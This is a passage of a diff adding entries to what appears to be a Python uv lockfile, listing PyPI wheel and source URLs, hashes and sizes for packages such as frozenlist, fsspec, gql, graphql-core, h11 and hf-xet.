+ { url = "https://files.pythonhosted.org/packages/cb/36/cdfaf6ed42e2644740d4a10452d8e97fa1c062e2a8006e4b09f1b5fd7d63/frozenlist-1.8.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:b4dec9482a65c54a5044486847b8a66bf10c9cb4926d42927ec4e8fd5db7fed8", size = 240110, upload-time = "2025-10-06T05:36:42.716Z" },
+ { url = "https://files.pythonhosted.org/packages/03/a8/9ea226fbefad669f11b52e864c55f0bd57d3c8d7eb07e9f2e9a0b39502e1/frozenlist-1.8.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:21900c48ae04d13d416f0e1e0c4d81f7931f73a9dfa0b7a8746fb2fe7dd970ed", size = 233717, upload-time = "2025-10-06T05:36:44.251Z" },
+ { url = "https://files.pythonhosted.org/packages/1e/0b/1b5531611e83ba7d13ccc9988967ea1b51186af64c42b7a7af465dcc9568/frozenlist-1.8.0-cp313-cp313-win32.whl", hash = "sha256:8b7b94a067d1c504ee0b16def57ad5738701e4ba10cec90529f13fa03c833496", size = 39628, upload-time = "2025-10-06T05:36:45.423Z" },
+ { url = "https://files.pythonhosted.org/packages/d8/cf/174c91dbc9cc49bc7b7aab74d8b734e974d1faa8f191c74af9b7e80848e6/frozenlist-1.8.0-cp313-cp313-win_amd64.whl", hash = "sha256:878be833caa6a3821caf85eb39c5ba92d28e85df26d57afb06b35b2efd937231", size = 43882, upload-time = "2025-10-06T05:36:46.796Z" },
+ { url = "https://files.pythonhosted.org/packages/c1/17/502cd212cbfa96eb1388614fe39a3fc9ab87dbbe042b66f97acb57474834/frozenlist-1.8.0-cp313-cp313-win_arm64.whl", hash = "sha256:44389d135b3ff43ba8cc89ff7f51f5a0bb6b63d829c8300f79a2fe4fe61bcc62", size = 39676, upload-time = "2025-10-06T05:36:47.8Z" },
+ { url = "https://files.pythonhosted.org/packages/d2/5c/3bbfaa920dfab09e76946a5d2833a7cbdf7b9b4a91c714666ac4855b88b4/frozenlist-1.8.0-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:e25ac20a2ef37e91c1b39938b591457666a0fa835c7783c3a8f33ea42870db94", size = 89235, upload-time = "2025-10-06T05:36:48.78Z" },
+ { url = "https://files.pythonhosted.org/packages/d2/d6/f03961ef72166cec1687e84e8925838442b615bd0b8854b54923ce5b7b8a/frozenlist-1.8.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:07cdca25a91a4386d2e76ad992916a85038a9b97561bf7a3fd12d5d9ce31870c", size = 50742, upload-time = "2025-10-06T05:36:49.837Z" },
+ { url = "https://files.pythonhosted.org/packages/1e/bb/a6d12b7ba4c3337667d0e421f7181c82dda448ce4e7ad7ecd249a16fa806/frozenlist-1.8.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:4e0c11f2cc6717e0a741f84a527c52616140741cd812a50422f83dc31749fb52", size = 51725, upload-time = "2025-10-06T05:36:50.851Z" },
+ { url = "https://files.pythonhosted.org/packages/bc/71/d1fed0ffe2c2ccd70b43714c6cab0f4188f09f8a67a7914a6b46ee30f274/frozenlist-1.8.0-cp313-cp313t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:b3210649ee28062ea6099cfda39e147fa1bc039583c8ee4481cb7811e2448c51", size = 284533, upload-time = "2025-10-06T05:36:51.898Z" },
+ { url = "https://files.pythonhosted.org/packages/c9/1f/fb1685a7b009d89f9bf78a42d94461bc06581f6e718c39344754a5d9bada/frozenlist-1.8.0-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:581ef5194c48035a7de2aefc72ac6539823bb71508189e5de01d60c9dcd5fa65", size = 292506, upload-time = "2025-10-06T05:36:53.101Z" },
+ { url = "https://files.pythonhosted.org/packages/e6/3b/b991fe1612703f7e0d05c0cf734c1b77aaf7c7d321df4572e8d36e7048c8/frozenlist-1.8.0-cp313-cp313t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:3ef2d026f16a2b1866e1d86fc4e1291e1ed8a387b2c333809419a2f8b3a77b82", size = 274161, upload-time = "2025-10-06T05:36:54.309Z" },
+ { url = "https://files.pythonhosted.org/packages/ca/ec/c5c618767bcdf66e88945ec0157d7f6c4a1322f1473392319b7a2501ded7/frozenlist-1.8.0-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:5500ef82073f599ac84d888e3a8c1f77ac831183244bfd7f11eaa0289fb30714", size = 294676, upload-time = "2025-10-06T05:36:55.566Z" },
+ { url = "https://files.pythonhosted.org/packages/7c/ce/3934758637d8f8a88d11f0585d6495ef54b2044ed6ec84492a91fa3b27aa/frozenlist-1.8.0-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:50066c3997d0091c411a66e710f4e11752251e6d2d73d70d8d5d4c76442a199d", size = 300638, upload-time = "2025-10-06T05:36:56.758Z" },
+ { url = "https://files.pythonhosted.org/packages/fc/4f/a7e4d0d467298f42de4b41cbc7ddaf19d3cfeabaf9ff97c20c6c7ee409f9/frozenlist-1.8.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:5c1c8e78426e59b3f8005e9b19f6ff46e5845895adbde20ece9218319eca6506", size = 283067, upload-time = "2025-10-06T05:36:57.965Z" },
+ { url = "https://files.pythonhosted.org/packages/dc/48/c7b163063d55a83772b268e6d1affb960771b0e203b632cfe09522d67ea5/frozenlist-1.8.0-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:eefdba20de0d938cec6a89bd4d70f346a03108a19b9df4248d3cf0d88f1b0f51", size = 292101, upload-time = "2025-10-06T05:36:59.237Z" },
+ { url = "https://files.pythonhosted.org/packages/9f/d0/2366d3c4ecdc2fd391e0afa6e11500bfba0ea772764d631bbf82f0136c9d/frozenlist-1.8.0-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:cf253e0e1c3ceb4aaff6df637ce033ff6535fb8c70a764a8f46aafd3d6ab798e", size = 289901, upload-time = "2025-10-06T05:37:00.811Z" },
+ { url = "https://files.pythonhosted.org/packages/b8/94/daff920e82c1b70e3618a2ac39fbc01ae3e2ff6124e80739ce5d71c9b920/frozenlist-1.8.0-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:032efa2674356903cd0261c4317a561a6850f3ac864a63fc1583147fb05a79b0", size = 289395, upload-time = "2025-10-06T05:37:02.115Z" },
+ { url = "https://files.pythonhosted.org/packages/e3/20/bba307ab4235a09fdcd3cc5508dbabd17c4634a1af4b96e0f69bfe551ebd/frozenlist-1.8.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:6da155091429aeba16851ecb10a9104a108bcd32f6c1642867eadaee401c1c41", size = 283659, upload-time = "2025-10-06T05:37:03.711Z" },
+ { url = "https://files.pythonhosted.org/packages/fd/00/04ca1c3a7a124b6de4f8a9a17cc2fcad138b4608e7a3fc5877804b8715d7/frozenlist-1.8.0-cp313-cp313t-win32.whl", hash = "sha256:0f96534f8bfebc1a394209427d0f8a63d343c9779cda6fc25e8e121b5fd8555b", size = 43492, upload-time = "2025-10-06T05:37:04.915Z" },
+ { url = "https://files.pythonhosted.org/packages/59/5e/c69f733a86a94ab10f68e496dc6b7e8bc078ebb415281d5698313e3af3a1/frozenlist-1.8.0-cp313-cp313t-win_amd64.whl", hash = "sha256:5d63a068f978fc69421fb0e6eb91a9603187527c86b7cd3f534a5b77a592b888", size = 48034, upload-time = "2025-10-06T05:37:06.343Z" },
+ { url = "https://files.pythonhosted.org/packages/16/6c/be9d79775d8abe79b05fa6d23da99ad6e7763a1d080fbae7290b286093fd/frozenlist-1.8.0-cp313-cp313t-win_arm64.whl", hash = "sha256:bf0a7e10b077bf5fb9380ad3ae8ce20ef919a6ad93b4552896419ac7e1d8e042", size = 41749, upload-time = "2025-10-06T05:37:07.431Z" },
+ { url = "https://files.pythonhosted.org/packages/f1/c8/85da824b7e7b9b6e7f7705b2ecaf9591ba6f79c1177f324c2735e41d36a2/frozenlist-1.8.0-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:cee686f1f4cadeb2136007ddedd0aaf928ab95216e7691c63e50a8ec066336d0", size = 86127, upload-time = "2025-10-06T05:37:08.438Z" },
+ { url = "https://files.pythonhosted.org/packages/8e/e8/a1185e236ec66c20afd72399522f142c3724c785789255202d27ae992818/frozenlist-1.8.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:119fb2a1bd47307e899c2fac7f28e85b9a543864df47aa7ec9d3c1b4545f096f", size = 49698, upload-time = "2025-10-06T05:37:09.48Z" },
+ { url = "https://files.pythonhosted.org/packages/a1/93/72b1736d68f03fda5fdf0f2180fb6caaae3894f1b854d006ac61ecc727ee/frozenlist-1.8.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:4970ece02dbc8c3a92fcc5228e36a3e933a01a999f7094ff7c23fbd2beeaa67c", size = 49749, upload-time = "2025-10-06T05:37:10.569Z" },
+ { url = "https://files.pythonhosted.org/packages/a7/b2/fabede9fafd976b991e9f1b9c8c873ed86f202889b864756f240ce6dd855/frozenlist-1.8.0-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:cba69cb73723c3f329622e34bdbf5ce1f80c21c290ff04256cff1cd3c2036ed2", size = 231298, upload-time = "2025-10-06T05:37:11.993Z" },
+ { url = "https://files.pythonhosted.org/packages/3a/3b/d9b1e0b0eed36e70477ffb8360c49c85c8ca8ef9700a4e6711f39a6e8b45/frozenlist-1.8.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:778a11b15673f6f1df23d9586f83c4846c471a8af693a22e066508b77d201ec8", size = 232015, upload-time = "2025-10-06T05:37:13.194Z" },
+ { url = "https://files.pythonhosted.org/packages/dc/94/be719d2766c1138148564a3960fc2c06eb688da592bdc25adcf856101be7/frozenlist-1.8.0-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:0325024fe97f94c41c08872db482cf8ac4800d80e79222c6b0b7b162d5b13686", size = 225038, upload-time = "2025-10-06T05:37:14.577Z" },
+ { url = "https://files.pythonhosted.org/packages/e4/09/6712b6c5465f083f52f50cf74167b92d4ea2f50e46a9eea0523d658454ae/frozenlist-1.8.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:97260ff46b207a82a7567b581ab4190bd4dfa09f4db8a8b49d1a958f6aa4940e", size = 240130, upload-time = "2025-10-06T05:37:15.781Z" },
+ { url = "https://files.pythonhosted.org/packages/f8/d4/cd065cdcf21550b54f3ce6a22e143ac9e4836ca42a0de1022da8498eac89/frozenlist-1.8.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:54b2077180eb7f83dd52c40b2750d0a9f175e06a42e3213ce047219de902717a", size = 242845, upload-time = "2025-10-06T05:37:17.037Z" },
+ { url = "https://files.pythonhosted.org/packages/62/c3/f57a5c8c70cd1ead3d5d5f776f89d33110b1addae0ab010ad774d9a44fb9/frozenlist-1.8.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:2f05983daecab868a31e1da44462873306d3cbfd76d1f0b5b69c473d21dbb128", size = 229131, upload-time = "2025-10-06T05:37:18.221Z" },
+ { url = "https://files.pythonhosted.org/packages/6c/52/232476fe9cb64f0742f3fde2b7d26c1dac18b6d62071c74d4ded55e0ef94/frozenlist-1.8.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:33f48f51a446114bc5d251fb2954ab0164d5be02ad3382abcbfe07e2531d650f", size = 240542, upload-time = "2025-10-06T05:37:19.771Z" },
+ { url = "https://files.pythonhosted.org/packages/5f/85/07bf3f5d0fb5414aee5f47d33c6f5c77bfe49aac680bfece33d4fdf6a246/frozenlist-1.8.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:154e55ec0655291b5dd1b8731c637ecdb50975a2ae70c606d100750a540082f7", size = 237308, upload-time = "2025-10-06T05:37:20.969Z" },
+ { url = "https://files.pythonhosted.org/packages/11/99/ae3a33d5befd41ac0ca2cc7fd3aa707c9c324de2e89db0e0f45db9a64c26/frozenlist-1.8.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:4314debad13beb564b708b4a496020e5306c7333fa9a3ab90374169a20ffab30", size = 238210, upload-time = "2025-10-06T05:37:22.252Z" },
+ { url = "https://files.pythonhosted.org/packages/b2/60/b1d2da22f4970e7a155f0adde9b1435712ece01b3cd45ba63702aea33938/frozenlist-1.8.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:073f8bf8becba60aa931eb3bc420b217bb7d5b8f4750e6f8b3be7f3da85d38b7", size = 231972, upload-time = "2025-10-06T05:37:23.5Z" },
+ { url = "https://files.pythonhosted.org/packages/3f/ab/945b2f32de889993b9c9133216c068b7fcf257d8595a0ac420ac8677cab0/frozenlist-1.8.0-cp314-cp314-win32.whl", hash = "sha256:bac9c42ba2ac65ddc115d930c78d24ab8d4f465fd3fc473cdedfccadb9429806", size = 40536, upload-time = "2025-10-06T05:37:25.581Z" },
+ { url = "https://files.pythonhosted.org/packages/59/ad/9caa9b9c836d9ad6f067157a531ac48b7d36499f5036d4141ce78c230b1b/frozenlist-1.8.0-cp314-cp314-win_amd64.whl", hash = "sha256:3e0761f4d1a44f1d1a47996511752cf3dcec5bbdd9cc2b4fe595caf97754b7a0", size = 44330, upload-time = "2025-10-06T05:37:26.928Z" },
+ { url = "https://files.pythonhosted.org/packages/82/13/e6950121764f2676f43534c555249f57030150260aee9dcf7d64efda11dd/frozenlist-1.8.0-cp314-cp314-win_arm64.whl", hash = "sha256:d1eaff1d00c7751b7c6662e9c5ba6eb2c17a2306ba5e2a37f24ddf3cc953402b", size = 40627, upload-time = "2025-10-06T05:37:28.075Z" },
+ { url = "https://files.pythonhosted.org/packages/c0/c7/43200656ecc4e02d3f8bc248df68256cd9572b3f0017f0a0c4e93440ae23/frozenlist-1.8.0-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:d3bb933317c52d7ea5004a1c442eef86f426886fba134ef8cf4226ea6ee1821d", size = 89238, upload-time = "2025-10-06T05:37:29.373Z" },
+ { url = "https://files.pythonhosted.org/packages/d1/29/55c5f0689b9c0fb765055629f472c0de484dcaf0acee2f7707266ae3583c/frozenlist-1.8.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:8009897cdef112072f93a0efdce29cd819e717fd2f649ee3016efd3cd885a7ed", size = 50738, upload-time = "2025-10-06T05:37:30.792Z" },
+ { url = "https://files.pythonhosted.org/packages/ba/7d/b7282a445956506fa11da8c2db7d276adcbf2b17d8bb8407a47685263f90/frozenlist-1.8.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:2c5dcbbc55383e5883246d11fd179782a9d07a986c40f49abe89ddf865913930", size = 51739, upload-time = "2025-10-06T05:37:32.127Z" },
+ { url = "https://files.pythonhosted.org/packages/62/1c/3d8622e60d0b767a5510d1d3cf21065b9db874696a51ea6d7a43180a259c/frozenlist-1.8.0-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:39ecbc32f1390387d2aa4f5a995e465e9e2f79ba3adcac92d68e3e0afae6657c", size = 284186, upload-time = "2025-10-06T05:37:33.21Z" },
+ { url = "https://files.pythonhosted.org/packages/2d/14/aa36d5f85a89679a85a1d44cd7a6657e0b1c75f61e7cad987b203d2daca8/frozenlist-1.8.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:92db2bf818d5cc8d9c1f1fc56b897662e24ea5adb36ad1f1d82875bd64e03c24", size = 292196, upload-time = "2025-10-06T05:37:36.107Z" },
+ { url = "https://files.pythonhosted.org/packages/05/23/6bde59eb55abd407d34f77d39a5126fb7b4f109a3f611d3929f14b700c66/frozenlist-1.8.0-cp314-cp314t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:2dc43a022e555de94c3b68a4ef0b11c4f747d12c024a520c7101709a2144fb37", size = 273830, upload-time = "2025-10-06T05:37:37.663Z" },
+ { url = "https://files.pythonhosted.org/packages/d2/3f/22cff331bfad7a8afa616289000ba793347fcd7bc275f3b28ecea2a27909/frozenlist-1.8.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:cb89a7f2de3602cfed448095bab3f178399646ab7c61454315089787df07733a", size = 294289, upload-time = "2025-10-06T05:37:39.261Z" },
+ { url = "https://files.pythonhosted.org/packages/a4/89/5b057c799de4838b6c69aa82b79705f2027615e01be996d2486a69ca99c4/frozenlist-1.8.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:33139dc858c580ea50e7e60a1b0ea003efa1fd42e6ec7fdbad78fff65fad2fd2", size = 300318, upload-time = "2025-10-06T05:37:43.213Z" },
+ { url = "https://files.pythonhosted.org/packages/30/de/2c22ab3eb2a8af6d69dc799e48455813bab3690c760de58e1bf43b36da3e/frozenlist-1.8.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:168c0969a329b416119507ba30b9ea13688fafffac1b7822802537569a1cb0ef", size = 282814, upload-time = "2025-10-06T05:37:45.337Z" },
+ { url = "https://files.pythonhosted.org/packages/59/f7/970141a6a8dbd7f556d94977858cfb36fa9b66e0892c6dd780d2219d8cd8/frozenlist-1.8.0-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:28bd570e8e189d7f7b001966435f9dac6718324b5be2990ac496cf1ea9ddb7fe", size = 291762, upload-time = "2025-10-06T05:37:46.657Z" },
+ { url = "https://files.pythonhosted.org/packages/c1/15/ca1adae83a719f82df9116d66f5bb28bb95557b3951903d39135620ef157/frozenlist-1.8.0-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:b2a095d45c5d46e5e79ba1e5b9cb787f541a8dee0433836cea4b96a2c439dcd8", size = 289470, upload-time = "2025-10-06T05:37:47.946Z" },
+ { url = "https://files.pythonhosted.org/packages/ac/83/dca6dc53bf657d371fbc88ddeb21b79891e747189c5de990b9dfff2ccba1/frozenlist-1.8.0-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:eab8145831a0d56ec9c4139b6c3e594c7a83c2c8be25d5bcf2d86136a532287a", size = 289042, upload-time = "2025-10-06T05:37:49.499Z" },
+ { url = "https://files.pythonhosted.org/packages/96/52/abddd34ca99be142f354398700536c5bd315880ed0a213812bc491cff5e4/frozenlist-1.8.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:974b28cf63cc99dfb2188d8d222bc6843656188164848c4f679e63dae4b0708e", size = 283148, upload-time = "2025-10-06T05:37:50.745Z" },
+ { url = "https://files.pythonhosted.org/packages/af/d3/76bd4ed4317e7119c2b7f57c3f6934aba26d277acc6309f873341640e21f/frozenlist-1.8.0-cp314-cp314t-win32.whl", hash = "sha256:342c97bf697ac5480c0a7ec73cd700ecfa5a8a40ac923bd035484616efecc2df", size = 44676, upload-time = "2025-10-06T05:37:52.222Z" },
+ { url = "https://files.pythonhosted.org/packages/89/76/c615883b7b521ead2944bb3480398cbb07e12b7b4e4d073d3752eb721558/frozenlist-1.8.0-cp314-cp314t-win_amd64.whl", hash = "sha256:06be8f67f39c8b1dc671f5d83aaefd3358ae5cdcf8314552c57e7ed3e6475bdd", size = 49451, upload-time = "2025-10-06T05:37:53.425Z" },
+ { url = "https://files.pythonhosted.org/packages/e0/a3/5982da14e113d07b325230f95060e2169f5311b1017ea8af2a29b374c289/frozenlist-1.8.0-cp314-cp314t-win_arm64.whl", hash = "sha256:102e6314ca4da683dca92e3b1355490fed5f313b768500084fbe6371fddfdb79", size = 42507, upload-time = "2025-10-06T05:37:54.513Z" },
+ { url = "https://files.pythonhosted.org/packages/9a/9a/e35b4a917281c0b8419d4207f4334c8e8c5dbf4f3f5f9ada73958d937dcc/frozenlist-1.8.0-py3-none-any.whl", hash = "sha256:0c18a16eab41e82c295618a77502e17b195883241c563b00f0aa5106fc4eaa0d", size = 13409, upload-time = "2025-10-06T05:38:16.721Z" },
+]
+
+[[package]]
+name = "fsspec"
+version = "2026.6.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/10/a1/ae4e3e5003468d6391d2c77b6fa1cd73bd5d13511d81c642d7b28ac90ed4/fsspec-2026.6.0.tar.gz", hash = "sha256:f5bac145310fe30e16e1471bd6840b2d990d609e872251d7e674241822abf01a", size = 313646, upload-time = "2026-06-16T01:57:28.105Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/e5/22/4222d7ddf3da30f363edaa98e329c2bce6c65497c9cb2810931c8b2c0fbc/fsspec-2026.6.0-py3-none-any.whl", hash = "sha256:02e0b71817df9b2169dc30a16832045764def1191b43dcff5bb85bdee212d2a1", size = 203949, upload-time = "2026-06-16T01:57:26.358Z" },
+]
+
+[[package]]
+name = "gql"
+version = "4.0.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "anyio" },
+ { name = "backoff" },
+ { name = "graphql-core" },
+ { name = "yarl" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/06/9f/cf224a88ed71eb223b7aa0b9ff0aa10d7ecc9a4acdca2279eb046c26d5dc/gql-4.0.0.tar.gz", hash = "sha256:f22980844eb6a7c0266ffc70f111b9c7e7c7c13da38c3b439afc7eab3d7c9c8e", size = 215644, upload-time = "2025-08-17T14:32:35.397Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/ac/94/30bbd09e8d45339fa77a48f5778d74d47e9242c11b3cd1093b3d994770a5/gql-4.0.0-py3-none-any.whl", hash = "sha256:f3beed7c531218eb24d97cb7df031b4a84fdb462f4a2beb86e2633d395937479", size = 89900, upload-time = "2025-08-17T14:32:34.029Z" },
+]
+
+[package.optional-dependencies]
+aiohttp = [
+ { name = "aiohttp" },
+]
+websockets = [
+ { name = "websockets" },
+]
+
+[[package]]
+name = "graphql-core"
+version = "3.2.11"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/4d/90/f2aff026ab4aebd80eb71905106a0885f4cfde85dcf965543f45bed0d9ee/graphql_core-3.2.11.tar.gz", hash = "sha256:e7e156d10beb127cab5c89ff0da71416fc73d27c484a4757d3b2d35633774802", size = 528407, upload-time = "2026-06-05T13:45:22.915Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/00/15/b92b4e1d88d02c6eff9733c9eea21846ab435cc4d813d84ccc5d335955df/graphql_core-3.2.11-py3-none-any.whl", hash = "sha256:0b3e35ff41e9adba53021ab0cef475eb18f57c7f53f0f2ca55567fbf3c537ea0", size = 214879, upload-time = "2026-06-05T13:45:21.245Z" },
+]
+
+[[package]]
+name = "griffelib"
+version = "2.1.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/33/e4/8d187ea29c2e30b3a09505c567513077d6117861bde1fbd997a167f262ec/griffelib-2.1.0.tar.gz", hash = "sha256:762a186d2c6fd6794d4ea20d428d597ffb857cb56b66421651cbba15bdd5e813", size = 216234, upload-time = "2026-06-19T12:05:42.278Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/e4/d3/5268aeabf2ad82658c4e2ff3a060648d0f02f3926cb53247c0e4d0dab49e/griffelib-2.1.0-py3-none-any.whl", hash = "sha256:cc7b3d2d2865ad0b909fcc38086e3f554b5ea7acbaa7bbb7ecaa3f5dfb7d9f00", size = 142560, upload-time = "2026-06-19T12:05:38.742Z" },
+]
+
+[[package]]
+name = "h11"
+version = "0.16.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/01/ee/02a2c011bdab74c6fb3c75474d40b3052059d95df7e73351460c8588d963/h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1", size = 101250, upload-time = "2025-04-24T03:35:25.427Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/04/4b/29cac41a4d98d144bf5f6d33995617b185d14b22401f75ca86f384e87ff1/h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86", size = 37515, upload-time = "2025-04-24T03:35:24.344Z" },
+]
+
+[[package]]
+name = "hf-xet"
+version = "1.5.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/4b/2d/57fd21d84d93efb4bd0b962383790e19dd1bc053501b4264c97903b4e83e/hf_xet-1.5.1.tar.gz", hash = "sha256:51ef4500dab3764b41135ee1381a4b62ce56fc54d4c92b719b59e597d6df5bf6", size = 876636, upload-time = "2026-06-08T23:02:53.897Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/64/ee/dd9ba7beae1005e54131b7d45263cc74c8a066d47d354e6d58ae9445a388/hf_xet-1.5.1-cp313-cp313t-macosx_10_12_x86_64.whl", hash = "sha256:dbf48c0d02cf0b2e568944330c60d9120c272dabe013bd892d48e25bc6797577", size = 4069485, upload-time = "2026-06-08T23:02:13.193Z" },
+ { url = "https://files.pythonhosted.org/packages/b6/bc/9cae6cfeb4e03070874e73e5c97c66eb90369d3206b6a2b1ef5f96520888/hf_xet-1.5.1-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:e78e4e5192ad2b674c2e1160b651cb9134db974f8ae1835bdfbfb0166b894a43", size = 3838493, upload-time = "2026-06-08T23:02:15.282Z" },
+ { url = "https://files.pythonhosted.org/packages/ba/b4/d5c01e0eb6d9f2ca2dacd84d0d1b71e6cfbb2ef3208c968528e010e9b3d7/hf_xet-1.5.1-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:6f7a04a8ad962422e225bc49fbbac99dc1806764b1f3e54dbd154bffa7593947", size = 4505658, upload-time = "2026-06-08T23:02:17.196Z" },
+ { url = "https://files.pythonhosted.org/packages/76/c5/29a7598c0c6383c523dc22186d577f4e04267a626cd95ae60f67c00bfe66/hf_xet-1.5.1-cp313-cp313t-manylinux_2_28_aarch64.whl", hash = "sha256:d48199c2bf4f8df0adc55d31d1368b6ec0e4d4f45bc86b08038089c23db0bed8", size = 4292822, upload-time = "2026-06-08T23:02:18.608Z" },
+ { url = "https://files.pythonhosted.org/packages/04/9a/dceaf6ca69390126b86ea825fb354b93d01163199070b7bd849225de9468/hf_xet-1.5.1-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:97f212a88d14bbf573619a74b7fecb238de77d08fc702e54dec6f78276ca3283", size = 4491255, upload-time = "2026-06-08T23:02:20.124Z" },
+ { url = "https://files.pythonhosted.org/packages/48/a7/e5a7afaacf6c1791fdbeeac42951fb81c3d2bc482992b115dedcc86d963e/hf_xet-1.5.1-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:f61e3665892a6c8c5e765395838b8ddf36185da835253d4bc4509a81e49fb342", size = 4711062, upload-time = "2026-06-08T23:02:21.863Z" },
+ { url = "https://files.pythonhosted.org/packages/53/49/2802f8433c9742ce281bddc1e65c02c32268ca3098d66828b05e12e45ee2/hf_xet-1.5.1-cp313-cp313t-win_amd64.whl", hash = "sha256:f4ad3ebd4c32dd2b27099d69dc7b2df821e30767e46fb6ee6a0713778243b8ff", size = 4017205, upload-time = "2026-06-08T23:02:23.495Z" },
+ { url = "https://files.pythonhosted.org/packages/9e/5a/50c71195b9fb883659f596e7252faf4c18c58e753a9013bdbf9bac5d2250/hf_xet-1.5.1-cp313-cp313t-win_arm64.whl", hash = "sha256:8298485c1e36e7e67cbd01eeb1376619b7af43d4f1ec245caae306f890a8a32d", size = 3845426, upload-time = "2026-06-08T23:02:25.124Z" },
+ { url = "https://files.pythonhosted.org/packages/05/24/5e0c28f80371c17d49fed004597d9d132cb75c1f6f53db2cb95f459d2312/hf_xet-1.5.1-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:3474760d10e3bb6f92ff3f024fcb00c0b3e4001e9b035c7483e49a5dd17aa70f", size = 4069676, upload-time = "2026-06-08T23:02:26.759Z" },
+ { url = "https://files.pythonhosted.org/packages/d2/17/261ba565b6a4d960fb478f61fdf919c0be5824645aaf1c319eca660c1611/hf_xet-1.5.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:6762d89b9e3267dfd502b29b2a327b4525f33b17e7b509a78d94e2151a30ce30", size = 3838509, upload-time = "2026-06-08T23:02:28.573Z" },
+ { url = "https://files.pythonhosted.org/packages/4e/44/7ffdc2e184b0d41fc0f683ba3936ef669ab63cf242cf36ef50e57d683668/hf_xet-1.5.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:bf67e6ed10260cef62e852789dc91ebb03f382d5bdc4b1dbeb64763ea275e7d6", size = 4505881, upload-time = "2026-06-08T23:02:30.257Z" },
